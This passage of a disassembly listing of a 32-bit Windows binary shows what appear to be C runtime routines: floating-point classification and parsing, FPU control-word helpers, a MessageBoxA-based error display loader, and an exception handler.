		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_4169E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A0F	proc near		; CODE XREF: sub_4142AA+31p
					; sub_4143E1+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_416A27
		cmp	[ebp+arg_0], edx
		jnz	short loc_416A39
		xor	eax, eax
		inc	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_416A27:				; CODE XREF: sub_416A0F+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_416A39
		cmp	[ebp+arg_0], edx
		jnz	short loc_416A39
		push	2
		jmp	short loc_416A63
; ---------------------------------------------------------------------------


loc_416A39:				; CODE XREF: sub_416A0F+11j
					; sub_416A0F+1Fj ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_416A4C
		push	3
		jmp	short loc_416A63
; ---------------------------------------------------------------------------


loc_416A4C:				; CODE XREF: sub_416A0F+37j
		cmp	cx, 7FF0h
		jnz	short loc_416A66
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_416A61
		cmp	[ebp+arg_0], edx
		jz	short loc_416A66


loc_416A61:				; CODE XREF: sub_416A0F+4Bj
		push	4


loc_416A63:				; CODE XREF: sub_416A0F+28j
					; sub_416A0F+3Bj
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_416A66:				; CODE XREF: sub_416A0F+42j
					; sub_416A0F+50j
		xor	eax, eax
		pop	ebp
		retn
sub_416A0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416A6A(double,int)

sub_416A6A	proc near		; CODE XREF: sub_4165AD+164p

var_14		= qword	ptr -14h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_41BC80
		fnstsw	ax
		test	ah, 44h
		jp	short loc_416A88
		fldz
		xor	edx, edx
		jmp	loc_416B17
; ---------------------------------------------------------------------------


loc_416A88:				; CODE XREF: sub_416A6A+13j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_416AF4
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_416AA0
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_416AF4


loc_416AA0:				; CODE XREF: sub_416A6A+2Fj
		fld	[ebp+arg_0]
		mov	edx, 0FFFFFC03h
		fcomp	dbl_41BC80
		fnstsw	ax
		test	ah, 5
		jp	short loc_416ABA
		xor	eax, eax
		inc	eax
		jmp	short loc_416ACF
; ---------------------------------------------------------------------------


loc_416ABA:				; CODE XREF: sub_416A6A+49j
		xor	eax, eax
		jmp	short loc_416ACF
; ---------------------------------------------------------------------------


loc_416ABE:				; CODE XREF: sub_416A6A+69j
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_416ACB
		or	dword ptr [ebp+arg_0+4], 1


loc_416ACB:				; CODE XREF: sub_416A6A+5Bj
		shl	dword ptr [ebp+arg_0], 1
		dec	edx


loc_416ACF:				; CODE XREF: sub_416A6A+4Ej
					; sub_416A6A+52j
		test	byte ptr [ebp+arg_0+6],	10h
		jz	short loc_416ABE
		and	byte ptr [ebp+arg_0+6],	0EFh
		cmp	eax, ecx
		jz	short loc_416AE1
		or	byte ptr [ebp+arg_0+7],	80h


loc_416AE1:				; CODE XREF: sub_416A6A+71j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+14h+var_14]
		call	sub_4169E5
		add	esp, 0Ch
		jmp	short loc_416B17
; ---------------------------------------------------------------------------


loc_416AF4:				; CODE XREF: sub_416A6A+26j
					; sub_416A6A+34j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+14h+var_14]
		call	sub_4169E5
		mov	edx, dword ptr [ebp+arg_0+6]
		shr	edx, 4
		and	edx, 7FFh
		add	esp, 0Ch
		sub	edx, 3FEh


loc_416B17:				; CODE XREF: sub_416A6A+19j
					; sub_416A6A+88j
		mov	eax, [ebp+arg_8]
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		mov	[eax], edx
		leave
		retn
sub_416A6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B24	proc near		; CODE XREF: sub_416308+DEp

var_4		= word ptr -4

		push	ecx
		fstsw	[esp+4+var_4]
		movsx	eax, [esp+4+var_4]
		pop	ecx
		retn
sub_416B24	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B31	proc near		; CODE XREF: sub_416308+1E6p

var_4		= word ptr -4

		push	ecx
		fnstsw	[esp+4+var_4]
		fnclex
		movsx	eax, [esp+4+var_4]
		pop	ecx
		retn
sub_416B31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B3F	proc near		; CODE XREF: sub_4142AA+13p
					; sub_4142AA+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		and	ecx, [ebp+arg_4]
		not	eax
		and	eax, [ebp+var_4]
		or	eax, ecx
		mov	[ebp+arg_4], eax
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_416B3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B63	proc near		; CODE XREF: sub_4165AD+20p
					; sub_4165AD+3Ap ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  4

		push	ecx
		push	ecx
		mov	cl, byte ptr [esp+8+arg_0]
		test	cl, 1
		jz	short loc_416B79
		fld	tbyte_421780
		fistp	[esp+8+arg_0]
		wait


loc_416B79:				; CODE XREF: sub_416B63+9j
		test	cl, 8
		jz	short loc_416B8F
		fstsw	ax
		fld	tbyte_421780
		fstp	[esp+8+var_8]
		wait
		fstsw	ax


loc_416B8F:				; CODE XREF: sub_416B63+19j
		test	cl, 10h
		jz	short loc_416B9F
		fld	tbyte_42178C
		fstp	[esp+8+var_8]
		wait


loc_416B9F:				; CODE XREF: sub_416B63+2Fj
		test	cl, 4
		jz	short loc_416BAD
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_416BAD:				; CODE XREF: sub_416B63+3Fj
		test	cl, 20h
		jz	short loc_416BB9
		fldpi
		fstp	[esp+8+var_8]
		wait


loc_416BB9:				; CODE XREF: sub_416B63+4Dj
		pop	ecx
		pop	ecx
		retn
sub_416B63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BBC	proc near		; CODE XREF: sub_4144B2+132p
					; sub_41533C+13Ap

var_10		= byte ptr -10h
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_A		= byte ptr  12h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4C5B14, ebx
		push	esi
		push	edi
		jnz	short loc_416C3C
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4190F0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416C77
		mov	esi, dword_4190F8
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_4C5B14, eax
		jz	short loc_416C77
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4C5B18, eax
		call	esi	; GetProcAddress
		cmp	dword_4C5910, 2
		mov	dword_4C5B1C, eax
		jnz	short loc_416C3C
		push	offset aGetuserobjecti ; "GetUserObjectInformationA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_4C5B24, eax
		jz	short loc_416C3C
		push	offset aGetprocesswind ; "GetProcessWindowStation"
		push	edi
		call	esi	; GetProcAddress
		mov	dword_4C5B20, eax


loc_416C3C:				; CODE XREF: sub_416BBC+11j
					; sub_416BBC+60j ...
		mov	eax, dword_4C5B20
		test	eax, eax
		jz	short loc_416C81
		call	eax
		test	eax, eax
		jz	short loc_416C68
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Ch
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		push	eax
		call	dword_4C5B24
		test	eax, eax
		jz	short loc_416C68
		test	[ebp+var_8], 1
		jnz	short loc_416C81


loc_416C68:				; CODE XREF: sub_416BBC+8Dj
					; sub_416BBC+A4j
		cmp	dword_4C591C, 4
		jb	short loc_416C7B
		or	[ebp+arg_A], 20h
		jmp	short loc_416CA0
; ---------------------------------------------------------------------------


loc_416C77:				; CODE XREF: sub_416BBC+22j
					; sub_416BBC+3Dj
		xor	eax, eax
		jmp	short loc_416CB0
; ---------------------------------------------------------------------------


loc_416C7B:				; CODE XREF: sub_416BBC+B3j
		or	[ebp+arg_A], 4
		jmp	short loc_416CA0
; ---------------------------------------------------------------------------


loc_416C81:				; CODE XREF: sub_416BBC+87j
					; sub_416BBC+AAj
		mov	eax, dword_4C5B18
		test	eax, eax
		jz	short loc_416CA0
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_416CA0
		mov	eax, dword_4C5B1C
		test	eax, eax
		jz	short loc_416CA0
		push	ebx
		call	eax
		mov	ebx, eax


loc_416CA0:				; CODE XREF: sub_416BBC+B9j
					; sub_416BBC+C3j ...
		push	dword ptr [ebp+10h]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		call	dword_4C5B14


loc_416CB0:				; CODE XREF: sub_416BBC+BDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416BBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CB5	proc near		; CODE XREF: sub_416CE6+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4C5B81[eax], cl
		jnz	short loc_416CE2
		cmp	[esp+arg_4], 0
		jz	short loc_416CDB
		movzx	eax, word_41BD02[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_416CDD
; ---------------------------------------------------------------------------


loc_416CDB:				; CODE XREF: sub_416CB5+16j
		xor	eax, eax


loc_416CDD:				; CODE XREF: sub_416CB5+24j
		test	eax, eax
		jnz	short loc_416CE2
		retn
; ---------------------------------------------------------------------------


loc_416CE2:				; CODE XREF: sub_416CB5+Fj
					; sub_416CB5+2Aj
		xor	eax, eax
		inc	eax
		retn
sub_416CB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CE6	proc near		; CODE XREF: sub_4147D3+35p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_416CB5
		add	esp, 0Ch
		retn
sub_416CE6	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D00	proc near		; DATA XREF: __SEH_prologo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_416DA0
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_416D33:				; CODE XREF: sub_416D00+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_416D99
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_416D87
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_416D87
		js	short loc_416D92
		mov	edi, [ebx+8]
		push	ebx
		call	sub_40F144
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_40F186
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_40F21A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_416D87:				; CODE XREF: sub_416D00+40j
					; sub_416D00+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_416D33
; ---------------------------------------------------------------------------


loc_416D92:				; CODE XREF: sub_416D00+54j
		mov	eax, 0
		jmp	short loc_416DB5
; ---------------------------------------------------------------------------


loc_416D99:				; CODE XREF: sub_416D00+36j
		mov	eax, 1
		jmp	short loc_416DB5
; ---------------------------------------------------------------------------


loc_416DA0:				; CODE XREF: sub_416D00+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_40F186
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_416DB5:				; CODE XREF: sub_416D00+97j
					; sub_416D00+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_416D00	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_40F186
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_416DD8	proc near		; CODE XREF: sub_4154B8+23p
					; sub_4154B8+3Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		lea	ecx, [edx+esi]
		xor	eax, eax
		cmp	ecx, edx
		jb	short loc_416DEE
		cmp	ecx, esi
		jnb	short loc_416DF1


loc_416DEE:				; CODE XREF: sub_416DD8+10j
		xor	eax, eax
		inc	eax


loc_416DF1:				; CODE XREF: sub_416DD8+14j
		mov	edx, [esp+4+arg_8]
		mov	[edx], ecx
		pop	esi
		retn
sub_416DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_416DF9	proc near		; CODE XREF: sub_416EB2+4Bp
					; sub_416EB2+6Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_416DD8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416E2B
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_416DD8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416E2B
		inc	dword ptr [esi+8]


loc_416E2B:				; CODE XREF: sub_416DF9+19j
					; sub_416DF9+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_416DD8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416E43
		inc	dword ptr [esi+8]


loc_416E43:				; CODE XREF: sub_416DF9+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_416DD8
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_416DF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E57	proc near		; CODE XREF: sub_416EB2+3Bp
					; sub_416EB2+41p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, [eax]
		mov	ecx, esi
		add	esi, esi
		push	edi
		mov	edi, [eax+4]
		shr	ecx, 1Fh
		mov	[eax], esi
		lea	esi, [edi+edi]
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+4], esi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_416E57	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E85	proc near		; CODE XREF: sub_417423+1C1p
					; sub_417975+18Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		shr	ecx, 1
		shl	esi, 1Fh
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		or	ecx, edi
		shr	edx, 1
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_416E85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EB2	proc near		; CODE XREF: sub_416F96+3B5p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		cmp	eax, edx
		push	esi
		push	edi
		mov	[ebp+var_8], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_416F30
		mov	[ebp+arg_8], eax


loc_416EE4:				; CODE XREF: sub_416EB2+7Aj
		mov	esi, ebx
		lea	edi, [ebp+var_14]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_416E57
		push	ebx
		call	sub_416E57
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		call	sub_416DF9
		push	ebx
		call	sub_416E57
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		call	sub_416DF9
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_416EE4
		xor	edx, edx


loc_416F30:				; CODE XREF: sub_416EB2+2Dj
		cmp	[ebx+8], edx
		jnz	short loc_416F64
		mov	edi, [ebx+8]


loc_416F38:				; CODE XREF: sub_416EB2+ADj
		mov	ecx, [ebx+4]
		add	[ebp+var_8], 0FFF0h
		mov	eax, ecx
		shr	eax, 10h
		mov	edi, eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		cmp	edi, edx
		mov	[ebx+4], esi
		mov	[ebx], eax
		jz	short loc_416F38
		mov	[ebx+8], edi


loc_416F64:				; CODE XREF: sub_416EB2+81j
		mov	esi, 8000h
		jmp	short loc_416F79
; ---------------------------------------------------------------------------


loc_416F6B:				; CODE XREF: sub_416EB2+CAj
		push	ebx
		call	sub_416E57
		add	[ebp+var_8], 0FFFFh
		pop	ecx


loc_416F79:				; CODE XREF: sub_416EB2+B7j
		test	[ebx+8], esi
		jz	short loc_416F6B
		mov	ecx, [ebp+var_4]
		mov	ax, word ptr [ebp+var_8]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		call	sub_411BA5
		leave
		retn
sub_416EB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F96	proc near		; CODE XREF: sub_4157AA+22p
					; sub_4157ED+22p

var_58		= byte ptr -58h
var_41		= byte ptr -41h
var_3C		= dword	ptr -3Ch
var_36		= dword	ptr -36h
var_32		= dword	ptr -32h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		push	ebx
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_58]
		push	esi
		mov	[ebp+var_10], eax
		xor	eax, eax
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		inc	edx
		mov	[ebp+var_2C], eax
		mov	[ebp+var_1C], edx
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_18], eax
		mov	[ebp+arg_8], edi


loc_416FD6:				; CODE XREF: sub_416F96+57j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_416FEC
		cmp	cl, 9
		jz	short loc_416FEC
		cmp	cl, 0Ah
		jz	short loc_416FEC
		cmp	cl, 0Dh
		jnz	short loc_416FEF


loc_416FEC:				; CODE XREF: sub_416F96+45j
					; sub_416F96+4Aj ...
		inc	edi
		jmp	short loc_416FD6
; ---------------------------------------------------------------------------


loc_416FEF:				; CODE XREF: sub_416F96+54j
		push	4
		pop	esi


loc_416FF2:				; CODE XREF: sub_416F96+B4j
					; sub_416F96+BDj ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_417266	; default
					; jumptable 00416FFE case 10
		jmp	off_4173F3[eax*4] ; switch jump


loc_417005:				; DATA XREF: .text:off_4173F3o
		cmp	bl, 31h		; jumptable 00416FFE case 0
		jl	short loc_417016
		cmp	bl, 39h
		jg	short loc_417016


loc_41700F:				; CODE XREF: sub_416F96+CAj
					; sub_416F96+112j
		push	3
		jmp	loc_41721E
; ---------------------------------------------------------------------------


loc_417016:				; CODE XREF: sub_416F96+72j
					; sub_416F96+77j
		cmp	bl, byte_4214F8
		jnz	short loc_417025


loc_41701E:				; CODE XREF: sub_416F96+11Ej
		push	5
		jmp	loc_41725C
; ---------------------------------------------------------------------------


loc_417025:				; CODE XREF: sub_416F96+86j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41704C
		dec	eax
		dec	eax
		jz	short loc_417040
		sub	eax, 3
		jz	loc_4170C3


loc_41703A:				; CODE XREF: sub_416F96+EAj
					; sub_416F96+F4j ...
		dec	edi
		jmp	loc_4172F9
; ---------------------------------------------------------------------------


loc_417040:				; CODE XREF: sub_416F96+99j
		push	2
		pop	eax
		mov	[ebp+var_2C], 8000h
		jmp	short loc_416FF2
; ---------------------------------------------------------------------------


loc_41704C:				; CODE XREF: sub_416F96+95j
		and	[ebp+var_2C], 0
		push	2
		pop	eax
		jmp	short loc_416FF2
; ---------------------------------------------------------------------------


loc_417055:				; CODE XREF: sub_416F96+68j
					; DATA XREF: .text:off_4173F3o
		cmp	bl, 31h		; jumptable 00416FFE case 1
		mov	[ebp+var_14], edx
		jl	short loc_417062
		cmp	bl, 39h
		jle	short loc_41700F


loc_417062:				; CODE XREF: sub_416F96+C5j
		cmp	bl, byte_4214F8
		jz	loc_41711C
		cmp	bl, 2Bh
		jz	short loc_417098
		cmp	bl, 2Dh
		jz	short loc_417098
		cmp	bl, 30h
		jz	short loc_4170C3


loc_41707D:				; CODE XREF: sub_416F96+1FDj
		cmp	bl, 43h
		jle	short loc_41703A
		cmp	bl, 45h
		jle	short loc_417091
		cmp	bl, 63h
		jle	short loc_41703A
		cmp	bl, 65h
		jg	short loc_41703A


loc_417091:				; CODE XREF: sub_416F96+EFj
		push	6
		jmp	loc_41725C
; ---------------------------------------------------------------------------


loc_417098:				; CODE XREF: sub_416F96+DBj
					; sub_416F96+E0j ...
		dec	edi
		push	0Bh
		jmp	loc_41725C
; ---------------------------------------------------------------------------


loc_4170A0:				; CODE XREF: sub_416F96+68j
					; DATA XREF: .text:off_4173F3o
		cmp	bl, 31h		; jumptable 00416FFE case 2
		jl	short loc_4170AE
		cmp	bl, 39h
		jle	loc_41700F


loc_4170AE:				; CODE XREF: sub_416F96+10Dj
		cmp	bl, byte_4214F8
		jz	loc_41701E
		cmp	bl, 30h
		jnz	loc_41722A


loc_4170C3:				; CODE XREF: sub_416F96+9Ej
					; sub_416F96+E5j
		mov	eax, edx
		jmp	loc_416FF2
; ---------------------------------------------------------------------------


loc_4170CA:				; CODE XREF: sub_416F96+68j
					; DATA XREF: .text:off_4173F3o
		mov	[ebp+var_14], edx ; jumptable 00416FFE case 3


loc_4170CD:				; CODE XREF: sub_416F96+17Cj
		cmp	dword_4214F4, edx
		movzx	eax, bl
		jle	short loc_4170E6
		push	esi
		push	eax
		call	sub_41328D
		pop	ecx
		xor	edx, edx
		pop	ecx
		inc	edx
		jmp	short loc_4170F2
; ---------------------------------------------------------------------------


loc_4170E6:				; CODE XREF: sub_416F96+140j
		mov	ecx, off_4214EC
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, esi


loc_4170F2:				; CODE XREF: sub_416F96+14Ej
		test	eax, eax
		jz	short loc_417114
		cmp	[ebp+var_8], 19h
		jnb	short loc_41710C
		mov	eax, [ebp+var_10]
		inc	[ebp+var_8]
		sub	bl, 30h
		inc	[ebp+var_10]
		mov	[eax], bl
		jmp	short loc_41710F
; ---------------------------------------------------------------------------


loc_41710C:				; CODE XREF: sub_416F96+164j
		inc	[ebp+var_C]


loc_41710F:				; CODE XREF: sub_416F96+174j
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4170CD
; ---------------------------------------------------------------------------


loc_417114:				; CODE XREF: sub_416F96+15Ej
		cmp	bl, byte_4214F8
		jnz	short loc_417181


loc_41711C:				; CODE XREF: sub_416F96+D2j
		mov	eax, esi
		jmp	loc_416FF2
; ---------------------------------------------------------------------------


loc_417123:				; CODE XREF: sub_416F96+68j
					; DATA XREF: .text:off_4173F3o
		cmp	[ebp+var_8], 0	; jumptable 00416FFE case 4
		mov	[ebp+var_14], edx
		mov	[ebp+var_28], edx
		jnz	short loc_41713C
		jmp	short loc_417137
; ---------------------------------------------------------------------------


loc_417131:				; CODE XREF: sub_416F96+1A4j
		dec	[ebp+var_C]
		mov	bl, [edi]
		inc	edi


loc_417137:				; CODE XREF: sub_416F96+199j
		cmp	bl, 30h
		jz	short loc_417131


loc_41713C:				; CODE XREF: sub_416F96+197j
					; sub_416F96+1E9j
		cmp	dword_4214F4, edx
		movzx	eax, bl
		jle	short loc_417155
		push	esi
		push	eax
		call	sub_41328D
		pop	ecx
		xor	edx, edx
		pop	ecx
		inc	edx
		jmp	short loc_417161
; ---------------------------------------------------------------------------


loc_417155:				; CODE XREF: sub_416F96+1AFj
		mov	ecx, off_4214EC
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, esi


loc_417161:				; CODE XREF: sub_416F96+1BDj
		test	eax, eax
		jz	short loc_417181
		cmp	[ebp+var_8], 19h
		jnb	short loc_41717C
		inc	[ebp+var_8]
		mov	eax, [ebp+var_10]
		sub	bl, 30h
		inc	[ebp+var_10]
		dec	[ebp+var_C]
		mov	[eax], bl


loc_41717C:				; CODE XREF: sub_416F96+1D3j
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41713C
; ---------------------------------------------------------------------------


loc_417181:				; CODE XREF: sub_416F96+184j
					; sub_416F96+1CDj
		cmp	bl, 2Bh
		jz	loc_417098
		cmp	bl, 2Dh
		jz	loc_417098
		jmp	loc_41707D
; ---------------------------------------------------------------------------


loc_417198:				; CODE XREF: sub_416F96+68j
					; DATA XREF: .text:off_4173F3o
		cmp	dword_4214F4, edx ; jumptable 00416FFE case 5
		mov	[ebp+var_28], edx
		movzx	eax, bl
		jle	short loc_4171B4
		push	esi
		push	eax
		call	sub_41328D
		pop	ecx
		xor	edx, edx
		pop	ecx
		inc	edx
		jmp	short loc_4171C0
; ---------------------------------------------------------------------------


loc_4171B4:				; CODE XREF: sub_416F96+20Ej
		mov	ecx, off_4214EC
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, esi


loc_4171C0:				; CODE XREF: sub_416F96+21Cj
		test	eax, eax
		jz	short loc_41722A
		mov	eax, esi
		jmp	short loc_41721F
; ---------------------------------------------------------------------------


loc_4171C8:				; CODE XREF: sub_416F96+68j
					; DATA XREF: .text:off_4173F3o
		cmp	bl, 31h		; jumptable 00416FFE case 6
		lea	ecx, [edi-2]
		mov	[ebp+arg_8], ecx
		jl	short loc_4171D8
		cmp	bl, 39h
		jle	short loc_41721C


loc_4171D8:				; CODE XREF: sub_416F96+23Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41725A
		dec	eax
		dec	eax
		jz	short loc_41724E
		sub	eax, 3
		jnz	loc_4172F7


